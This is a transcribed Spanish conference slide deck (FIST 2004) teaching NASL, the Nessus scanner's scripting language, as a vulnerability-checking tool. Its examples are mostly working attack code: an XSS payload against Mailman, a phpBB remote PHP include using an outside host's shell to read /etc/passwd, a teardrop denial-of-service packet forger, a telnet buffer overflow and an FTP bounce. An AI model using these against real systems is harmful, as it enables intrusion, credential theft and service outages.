+ All Categories

NASL

Date post: 26-Dec-2014
Category:
Upload: conferencias-fist
View: 111 times
Download: 0 times
Share this document with a friend
Description:
 
55
FIST Conference Abril 2004 NASL NASL lenguaje de desarrollo de exploits lenguaje de desarrollo de exploits Rafael San Miguel Carrasco Rafael San Miguel Carrasco
Transcript
Page 1: NASL

FIST Conference Abril 2004

NASLNASLlenguaje de desarrollo de exploitslenguaje de desarrollo de exploits

Rafael San Miguel CarrascoRafael San Miguel Carrasco

Page 2: NASL

FIST Conference Abril 2004

Tareas típicas del Tareas típicas del exploit devexploit dev ::

•• escribir las cabeceras de un datagrama IPescribir las cabeceras de un datagrama IP•• implementar un diálogo HTTPimplementar un diálogo HTTP•• capturar y procesar paquetes en modo capturar y procesar paquetes en modo

promiscuopromiscuo•• existencia de un fichero en un servidorexistencia de un fichero en un servidor•• comprobación de desbordamientoscomprobación de desbordamientos

Page 3: NASL

FIST Conference Abril 2004

Contenido:Contenido:

1) NASL, Nessus, Knowledge Base1) NASL, Nessus, Knowledge Base2) Sintaxis del lenguaje NASL2) Sintaxis del lenguaje NASL3) Librería de funciones3) Librería de funciones4) Ejemplos de programación4) Ejemplos de programación5) Consideraciones finales5) Consideraciones finales

Page 4: NASL

FIST Conference Abril 2004

Nessus:Nessus:

•• Escáner de vulnerabilidadesEscáner de vulnerabilidades•• Libre distribuciónLibre distribución•• Entornos UNIXEntornos UNIX•• www.nessus.orgwww.nessus.org•• Para ampliar su capacidad: NASLPara ampliar su capacidad: NASL

NASL = Nessus Attack Scripting LanguageNASL = Nessus Attack Scripting Language

Page 5: NASL

FIST Conference Abril 2004

Modelo cliente / servidor:Modelo cliente / servidor:

hostnessusd

nessus

nessus

nessus

hosthost

Page 6: NASL

FIST Conference Abril 2004

Lanzamos el cliente Nessus:Lanzamos el cliente Nessus:

Page 7: NASL

FIST Conference Abril 2004

Selección de Selección de pluginsplugins::

Page 8: NASL

FIST Conference Abril 2004

Fijamos algunas opciones:Fijamos algunas opciones:

Page 9: NASL

FIST Conference Abril 2004

Rango de direcciones IP:Rango de direcciones IP:

Page 10: NASL

FIST Conference Abril 2004

Iniciamos el Iniciamos el scanscan::

Page 11: NASL

FIST Conference Abril 2004

Informe de vulnerabilidades:Informe de vulnerabilidades:

Page 12: NASL

FIST Conference Abril 2004

Intérprete NASL:Intérprete NASL:

•• nasl nasl ––t 192.168.0.128 script.naslt 192.168.0.128 script.nasl•• previamente lanzamos previamente lanzamos nessusdnessusd•• sólo direcciones IP permitidassólo direcciones IP permitidas•• políticas: políticas: nessusd.rulesnessusd.rules y y nessusd.usersnessusd.users

Page 13: NASL

FIST Conference Abril 2004

Intérprete NASL:Intérprete NASL:

•• nasl nasl ––t 192.168.0.128 script.naslt 192.168.0.128 script.nasl•• previamente lanzamos previamente lanzamos nessusdnessusd•• sólo direcciones IP permitidassólo direcciones IP permitidas•• políticas: políticas: nessusd.rulesnessusd.rules y y nessusd.usersnessusd.users

Page 14: NASL

FIST Conference Abril 2004

plugin plugin malicioso:malicioso:

hostnessusd

nessus

nessus

nessus

hosthost

script malicioso

atacante

reporte de vulnerabilidad

Page 15: NASL

FIST Conference Abril 2004

Otra restricción:Otra restricción:

•• NASL no permite la ejecución de comandosNASL no permite la ejecución de comandoslocaleslocales

•• No puede utilizarse para escribir No puede utilizarse para escribir exploitsexploitsde ámbito localde ámbito local

Page 16: NASL

FIST Conference Abril 2004

Knowledge BaseKnowledge Base::

•• base de datos para cada base de datos para cada hosthost•• datos relevantes para los datos relevantes para los scriptsscripts•• set_kb_item ()set_kb_item ()•• get_kb_item ()get_kb_item ()

Page 17: NASL

FIST Conference Abril 2004

Atributos de la clase Atributos de la clase ServicesServices::

•• Services/wwwServices/www•• Services/ftpServices/ftp•• Services/http_proxyServices/http_proxy•• Services/imapServices/imap•• ......

Page 18: NASL

FIST Conference Abril 2004

Atributos de la clase Atributos de la clase HostHost::

•• Host/OSHost/OS•• Host/deadHost/dead

•• modificado por modificado por scripts scripts de ataques DoSde ataques DoS

Page 19: NASL

FIST Conference Abril 2004

Otros atributos:Otros atributos:

•• ftp/anonymousftp/anonymous•• www/frontpagewww/frontpage•• rpc/bootparamdrpc/bootparamd•• bind/versionbind/version•• ftp/root_via_cwdftp/root_via_cwd•• ......

Page 20: NASL

FIST Conference Abril 2004

Sintaxis: estructuras de controlSintaxis: estructuras de control

•• if (condición) { instr.} else { instr. }if (condición) { instr.} else { instr. }•• for (inic; condición; instr) { instr. }for (inic; condición; instr) { instr. }•• while (condición) { instr. }while (condición) { instr. }•• foreach elemento (array) { instr. }foreach elemento (array) { instr. }•• repeat { instr. } until (condición);repeat { instr. } until (condición);•• operador x:operador x:

•• send_packet (udp) x 30send_packet (udp) x 30

Page 21: NASL

FIST Conference Abril 2004

Sintaxis: tipos de datosSintaxis: tipos de datos

•• No se manejan explícitamente (Perl)No se manejan explícitamente (Perl)•• Asignaciones:Asignaciones:

•• a = 100;a = 100;•• nombre = “Rafael”;nombre = “Rafael”;•• bytes = raw_string (0x41, 0x01, 0xFF);bytes = raw_string (0x41, 0x01, 0xFF);

•• ¡No hay estructuras de datos!¡No hay estructuras de datos!

Page 22: NASL

FIST Conference Abril 2004

Sintaxis: Sintaxis: arraysarrays

•• a [1] = 450;a [1] = 450;•• b = “cadena”;b = “cadena”;•• if (b [2] == “a”)if (b [2] == “a”)•• if (a [1] == 450)if (a [1] == 450)•• Caso 1 : b [2] = “o”;Caso 1 : b [2] = “o”;•• Caso 2 : b = insstr (b, “o”, 1, 1);Caso 2 : b = insstr (b, “o”, 1, 1);

Page 23: NASL

FIST Conference Abril 2004

Sintaxis: funcionesSintaxis: funciones

•• posibilidad de definir funcionesposibilidad de definir funciones•• existen limitaciones en la llamada a lasexisten limitaciones en la llamada a las

funciones definidas por el programadorfunciones definidas por el programador•• sintaxis: sintaxis:

function suma (a, b) function suma (a, b) { { instr.instr.

return (valor);return (valor);}}

Page 24: NASL

FIST Conference Abril 2004

Sintaxis: funciones no anónimasSintaxis: funciones no anónimas

•• no importa el orden y número de argumentosno importa el orden y número de argumentosespecificados en la llamadaespecificados en la llamada

•• debe indicarse el nombre de los argumentos:debe indicarse el nombre de los argumentos:send (data: “hola”, socket: s);send (data: “hola”, socket: s);

•• si faltan datos: se solicitan en tiempo desi faltan datos: se solicitan en tiempo deejecuciónejecución

Page 25: NASL

FIST Conference Abril 2004

Librería de funciones: clasificaciónLibrería de funciones: clasificación

•• manipulación de cadenasmanipulación de cadenas•• socketssockets•• raw socketsraw sockets•• protocolos http, ftp, telnetprotocolos http, ftp, telnet•• funciones criptográficasfunciones criptográficas•• funciones “vínculo” con Nessus funciones “vínculo” con Nessus

Page 26: NASL

FIST Conference Abril 2004

Funciones: manipulación de cadenasFunciones: manipulación de cadenas

•• operadores ==, <, >operadores ==, <, >•• operador ><operador ><

•• if (“Access denied” >< respuesta)if (“Access denied” >< respuesta)•• ereg ()ereg () y y egrep ()egrep () para para pattern matchingpattern matching•• crap : crap : para testear desbordamientospara testear desbordamientos

•• crap (length: 1000, data: “bla”);crap (length: 1000, data: “bla”);

Page 27: NASL

FIST Conference Abril 2004

Funciones: Funciones: socketssockets

•• send (), recv ()send (), recv () sin dirección IP destinosin dirección IP destino•• recv_line (recv_line (socket: s, length: 100, timeout: 5socket: s, length: 100, timeout: 5););•• get_port_state (port)get_port_state (port)•• tcp_ping ()tcp_ping ()•• open_priv_sock_udp (srcport, dstport)open_priv_sock_udp (srcport, dstport)

•• flag flag MSG_OOB en MSG_OOB en send () send () ¿Por qué?¿Por qué?

Page 28: NASL

FIST Conference Abril 2004

Funciones: Funciones: raw socketsraw sockets

•• protocolos soportados:protocolos soportados:ICMP, IGMP, TCP, UDP, IPICMP, IGMP, TCP, UDP, IP

•• funciones funciones forge_X_packet ()forge_X_packet ()•• pcap_next ()pcap_next ()•• funciones funciones get_X_elements ()get_X_elements ()•• insert_ip_options ()insert_ip_options ()•• send_packet ()send_packet ()

Page 29: NASL

FIST Conference Abril 2004

Funciones: http, ftp, telnetFunciones: http, ftp, telnet

•• ftp_log_in (usuario, password)ftp_log_in (usuario, password)•• telnet_init ()telnet_init ()•• http_get (), http_post (), http_head (), ...http_get (), http_post (), http_head (), ...•• is_cgi_installed (“/cgiis_cgi_installed (“/cgi--bin/search.cgi”)bin/search.cgi”)•• cgi_dirs ()cgi_dirs ()

http_get (port: 80, item: “/cgihttp_get (port: 80, item: “/cgi--bin/search.cgi”, bin/search.cgi”, data: “query=hola”);data: “query=hola”);

¡No podemos simular servidores!¡No podemos simular servidores!

Page 30: NASL

FIST Conference Abril 2004

Funciones: criptográficasFunciones: criptográficas

•• digests MD2, MD4, MD5digests MD2, MD4, MD5•• digest SHAdigest SHA--11•• digest cifrado HMACdigest cifrado HMAC

HMAC_DSS, HMAC_MD2, HMAC_MD4,HMAC_DSS, HMAC_MD2, HMAC_MD4,HMAC_MD5, HMAC_RIPEMD160, ...HMAC_MD5, HMAC_RIPEMD160, ...

Page 31: NASL

FIST Conference Abril 2004

Funciones: integración con NessusFunciones: integración con Nessus

•• script_category ()script_category ()•• script_family ()script_family ()•• script_bugtraq_id ()script_bugtraq_id ()•• script_cve_id ()script_cve_id ()•• script_dependencies ()script_dependencies ()

Page 32: NASL

FIST Conference Abril 2004

Funciones: integración con NessusFunciones: integración con Nessus

•• security_hole (descr., puerto)security_hole (descr., puerto)•• security_warning (descr., puerto)security_warning (descr., puerto)•• security_note (descr., puerto)security_note (descr., puerto)

Page 33: NASL

FIST Conference Abril 2004

Ejemplo: XSS en MailmanEjemplo: XSS en Mailman

Pasos:Pasos:•• comprobar la existencia del comprobar la existencia del scriptscript

vulnerablevulnerable•• enviar petición GET con códigoenviar petición GET con código

HTML/JavascriptHTML/Javascript•• comprobar respuesta del servidorcomprobar respuesta del servidor

Page 34: NASL

FIST Conference Abril 2004

Ejemplo: XSS en MailmanEjemplo: XSS en Mailmanpuerto = 80;puerto = 80;cadena = "<script>alert(document.domain)</script>";cadena = "<script>alert(document.domain)</script>";url = "/cgiurl = "/cgi--bin/listinfo";bin/listinfo";

display ("display ("\\nMailman XSS bug testnMailman XSS bug test\\nn----------------------------------------\\n");n");

if (is_cgi_installed (url, puerto) ) {if (is_cgi_installed (url, puerto) ) {

display ("info: listinfo existe en la version de mailman instaladisplay ("info: listinfo existe en la version de mailman instaladada\\n");n");

socket = open_sock_tcp (puerto);socket = open_sock_tcp (puerto);peticion = http_get (item : "/cgipeticion = http_get (item : "/cgi--bin/listinfo/" + cadena, port : puerto);bin/listinfo/" + cadena, port : puerto);rsend = send (socket : socket, data : peticion);rsend = send (socket : socket, data : peticion);rrecv = recv (socket : socket, length : 32000);rrecv = recv (socket : socket, length : 32000);close(socket);close(socket);

Page 35: NASL

FIST Conference Abril 2004

Ejemplo: XSS en MailmanEjemplo: XSS en Mailmanif (cadena >< rrecv)if (cadena >< rrecv)

{ { display ("info: esta version de mailman es vulnerable a XSSdisplay ("info: esta version de mailman es vulnerable a XSS\\nn\\n");n");

} else {} else {display ("info: version NO vulnerable de mailmandisplay ("info: version NO vulnerable de mailman\\nn\\n");n");

}}

return (0);return (0);}}

display ("mailman no esta instalado en el servidordisplay ("mailman no esta instalado en el servidor\\nn\\n");n");

Page 36: NASL

FIST Conference Abril 2004

Ejemplo: XSS en MailmanEjemplo: XSS en Mailman

Page 37: NASL

FIST Conference Abril 2004

Ejemplo: XSS en MailmanEjemplo: XSS en Mailman

Integración con Nessus:Integración con Nessus:•• bloque bloque ifif : registro en : registro en nessusdnessusdif(description)if(description)

{ {

script_name(english:"Mailman XSS bug test"); script_name(english:"Mailman XSS bug test"); script_description(english:"Comprobaciscript_description(english:"Comprobacióón del fallo de XSS en Mailman");n del fallo de XSS en Mailman");script_summary(english:script_summary(english:““PeticiPeticióón GET con cn GET con cóódigo HTML/JavaScript");digo HTML/JavaScript");script_category(ACT_ATTACK); script_family(english:"Misc."); script_category(ACT_ATTACK); script_family(english:"Misc."); script_copyright(english:"Rafael San Miguel Carrasco"); script_copyright(english:"Rafael San Miguel Carrasco"); exit(0);exit(0);

}}

Page 38: NASL

FIST Conference Abril 2004

Ejemplo: XSS en MailmanEjemplo: XSS en Mailman

Integración con Nessus:Integración con Nessus:•• notificacinotificacióón a Nessusn a Nessus

if (if (cadena >< rrecvcadena >< rrecv) ) { {

report = report = ““Mailman es vulnerable a XSS"; Mailman es vulnerable a XSS"; security_hole (port: 80, data:report); security_hole (port: 80, data:report);

} }

•• copiamos el .nasl copiamos el .nasl /usr/lib/nessus/plugins/usr/lib/nessus/plugins•• relanzamos relanzamos nessusdnessusd

Page 39: NASL

FIST Conference Abril 2004

Ejemplo: Inserción PHP en phpBBEjemplo: Inserción PHP en phpBB

•• servidor web propioservidor web propio•• shellshell PHP de PHP de www.planetwww.planet--sourcesource--code.code.comcom

<php passthru (<php passthru (‘‘cat /etc/passwdcat /etc/passwd’’) ?>) ?>

Page 40: NASL

FIST Conference Abril 2004

Ejemplo: Inserción PHP en phpBBEjemplo: Inserción PHP en phpBB

Pasos:Pasos:•• comprobar la existencia del PHPcomprobar la existencia del PHP

vulnerablevulnerable•• enviar petición GET con parámetrosenviar petición GET con parámetros

adecuadosadecuados•• verificar que en la respuesta del servidorverificar que en la respuesta del servidor

aparece la cadena “root”aparece la cadena “root”

Page 41: NASL

FIST Conference Abril 2004

Ejemplo: Inserción PHP en phpBBEjemplo: Inserción PHP en phpBBpuerto = 80;puerto = 80;cadena = "phpbb_root_path=http://www.solucionescadena = "phpbb_root_path=http://www.soluciones--seguras.com/&phpEx=php";seguras.com/&phpEx=php";url = "/album_portal.php";url = "/album_portal.php";

display ("display ("\\nphpBB Modified Insertion Bug TestnphpBB Modified Insertion Bug Test\\nn------------------------------------------------------\\n");n");

if (is_cgi_installed (url, puerto) ) {if (is_cgi_installed (url, puerto) ) {

display ("info: phpBB esta instalado en el servidor display ("info: phpBB esta instalado en el servidor \\n");n");

socket = open_sock_tcp (puerto);socket = open_sock_tcp (puerto);peticion = http_get (item : url + "?" peticion = http_get (item : url + "?" + cadena, port : puerto);+ cadena, port : puerto);rsend = send (socket : socket, data : peticion);rsend = send (socket : socket, data : peticion);rrecv = recv (socket : socket, length : 32000);rrecv = recv (socket : socket, length : 32000);close(socket);close(socket);

Page 42: NASL

FIST Conference Abril 2004

Ejemplo: Inserción PHP en phpBBEjemplo: Inserción PHP en phpBBif ("root" >< rrecv)if ("root" >< rrecv){{

display ("info: se ha conseguido el fichero /etcdisplay ("info: se ha conseguido el fichero /etc/passwd del servidor/passwd del servidor\\n");n");# pattern matching# pattern matching

display (egrep (pattern: "^root*", string: rrecv) );display (egrep (pattern: "^root*", string: rrecv) );display ("display ("\\nn\\n");n");

} else {} else {display ("info: la version no es vulnerabledisplay ("info: la version no es vulnerable\\nn\\n");n");

}}

return (0);return (0);}}

Page 43: NASL

FIST Conference Abril 2004

Ejemplo: Inserción PHP en phpBBEjemplo: Inserción PHP en phpBB

Page 44: NASL

FIST Conference Abril 2004

Integración con Nessus:Integración con Nessus:•• bloque bloque ifif de registro en de registro en nessusdnessusd•• llamada a llamada a security_hole ()security_hole () si el ataquesi el ataque

tiene tiene ééxitoxito•• copiamos el .nasl copiamos el .nasl /usr/lib/nessus/plugins/usr/lib/nessus/plugins•• relanzamos relanzamos nessusdnessusd

Ejemplo: Inserción PHP en phpBBEjemplo: Inserción PHP en phpBB

Page 45: NASL

FIST Conference Abril 2004

Ejemplo: Ejemplo: teardropteardrop

•• ataque DoS que afecta a los ataque DoS que afecta a los stacksstacksTCP/IP de algunos sistemas operativosTCP/IP de algunos sistemas operativos

•• fallo en el algoritmo de ensambladofallo en el algoritmo de ensamblado•• implementación del implementación del exploitexploit::

•• datagrama UDP 1:datagrama UDP 1:•• payload N bytes, offset 0, MF onpayload N bytes, offset 0, MF on

•• datagrama UDP 2:datagrama UDP 2:•• payload < N, offset < N, MF offpayload < N, offset < N, MF off

Page 46: NASL

FIST Conference Abril 2004

Ejemplo: Ejemplo: teardropteardropMAGIC = 2;MAGIC = 2;IPH = 20;IPH = 20;UDPH = 8;UDPH = 8;PADDING = 0x1c;PADDING = 0x1c;MAGIC = 0x3;MAGIC = 0x3;IP_ID = 242;IP_ID = 242;sport = 123;sport = 123;dport = 137;dport = 137;

LEN = IPH + UDPH + PADDING;LEN = IPH + UDPH + PADDING;

src = this_host();src = this_host();ip = forge_ip_packet(ip_v : 4,ip = forge_ip_packet(ip_v : 4,

ip_hl : 5,ip_hl : 5, ip_tos : 0,ip_tos : 0, ip_id : IP_ID,ip_id : IP_ID, ip_len : LEN,ip_len : LEN,ip_off : IP_MF,ip_off : IP_MF, ip_p : IPPROTO_UDP,ip_p : IPPROTO_UDP, ip_src : src,ip_src : src,ip_ttl : 0x40);ip_ttl : 0x40);

Page 47: NASL

FIST Conference Abril 2004

Ejemplo: Ejemplo: teardropteardropLEN = UDPH + PADDING;LEN = UDPH + PADDING;udp1 = forge_udp_packet(ip : ip,udp1 = forge_udp_packet(ip : ip, uh_sport : sport, uh_dport : dport,uh_sport : sport, uh_dport : dport, uh_len : LEN);uh_len : LEN);

LEN = IPH + MAGIC + 1;LEN = IPH + MAGIC + 1;set_ip_elements(ip: ip, ip_len : LEN, ip_off : MAGIC);set_ip_elements(ip: ip, ip_len : LEN, ip_off : MAGIC);

LEN = UDPH + PADDING; LEN = UDPH + PADDING; udp2 = forge_udp_packet(ip : ip,udp2 = forge_udp_packet(ip : ip, uh_sport : sport, uh_dport : dport, uh_sport : sport, uh_dport : dport, uh_len : LEN);uh_len : LEN);

start_denial();start_denial();send_packet(udp1,udp2, pcap_active:FALSE) x 500;send_packet(udp1,udp2, pcap_active:FALSE) x 500;alive = end_denial();alive = end_denial();

if(!alive) {if(!alive) {set_kb_item(name:"Host/dead", value:TRUE);set_kb_item(name:"Host/dead", value:TRUE);security_hole(0);security_hole(0);

}}

Page 48: NASL

FIST Conference Abril 2004

Ejemplo: Ejemplo: overflowoverflow en BFTelneten BFTelnet

•• nombre de usuario muy largonombre de usuario muy largo•• provoca la caprovoca la caíída del servicio telnetda del servicio telnet•• fallo tfallo tíípico de muchos otros servidorespico de muchos otros servidores

(ftp, pop3, ...)(ftp, pop3, ...)

Page 49: NASL

FIST Conference Abril 2004

Ejemplo: Ejemplo: overflowoverflow en BFTelneten BFTelnetport = get_kb_item ("Services/telnet");port = get_kb_item ("Services/telnet");if (!port) port = 23;if (!port) port = 23;if (get_port_state(port))if (get_port_state(port)) {{

soc = open_sock_tcp(port);soc = open_sock_tcp(port);if (soc)if (soc) {{

banner = telnet_init(soc);banner = telnet_init(soc);banner = string(banner, recv(socket:soc, length:1000));banner = string(banner, recv(socket:soc, length:1000));data = string(crap(4000), "data = string(crap(4000), "\\rr\\n");n");send(socket:soc, data:data);send(socket:soc, data:data);close(soc);close(soc);

soc2 = open_sock_tcp(port);soc2 = open_sock_tcp(port);if(!soc2)if(!soc2)

security_warning(port);security_warning(port);}}

}}

Page 50: NASL

FIST Conference Abril 2004

Ejemplo: Ejemplo: ftp bouncingftp bouncing

•• comando PORT para conexión de datoscomando PORT para conexión de datos(protocolo FTP)(protocolo FTP)

•• posibilidad de iniciar una conexiposibilidad de iniciar una conexióón con n con hosthost arbitrarioarbitrario

•• utilidad:utilidad:•• port scanningport scanning•• bypassbypass de las reglas de un de las reglas de un firewallfirewall

Page 51: NASL

FIST Conference Abril 2004

Ejemplo: Ejemplo: ftp bouncingftp bouncingport = get_kb_item("Services/ftp");port = get_kb_item("Services/ftp");if(!port)port = 21;if(!port)port = 21;

login = get_kb_item("ftp/login");login = get_kb_item("ftp/login");password = get_kb_item("ftp/password");password = get_kb_item("ftp/password");

if (login)if (login) {{soc = open_sock_tcp(port);soc = open_sock_tcp(port);if(soc) {if(soc) {

if(ftp_log_in(socket:soc, user:login, pass:password))if(ftp_log_in(socket:soc, user:login, pass:password)) {{command = string("PORT 66,88,91,109,0,21command = string("PORT 66,88,91,109,0,21\\n");n");send(socket:soc, data:command);send(socket:soc, data:command);code = recv(socket:soc, length:4);code = recv(socket:soc, length:4);if(code == "200 ") security_hole(port);if(code == "200 ") security_hole(port);

}}close(soc);close(soc);

}}}}

Page 52: NASL

FIST Conference Abril 2004

Consideraciones finales:Consideraciones finales:

•• soporte multilenguajesoporte multilenguajename["english"] = "BFTelnet DoS";name["english"] = "BFTelnet DoS";name["francais"]= "Dname["francais"]= "Dééni de service contre BFTelnet";ni de service contre BFTelnet";script_name(english:name["english"], script_name(english:name["english"],

francais:name["francais"]);francais:name["francais"]);

•• forkingforking automático y transparenteautomático y transparenteejemplo: dos puertos telnetejemplo: dos puertos telnet

Page 53: NASL

FIST Conference Abril 2004

Detección de WAPs con NASL:Detección de WAPs con NASL:www.tenablesecurity.com/white_papers/wap-id-nessus.pdf

Más información sobre NASL y Nessus:Más información sobre NASL y Nessus:www.nessus.org/documentation.html

Estas transparencias:Estas transparencias:www.soluciones-seguras.comwww.fistconference.org

Page 54: NASL

FIST Conference Abril 2004

Nuestra empresa: Soluciones SegurasNuestra empresa: Soluciones Seguras

Page 55: NASL

FIST Conference Abril 2004

¡Muchas gracias por venir!¡Muchas gracias por venir!


Recommended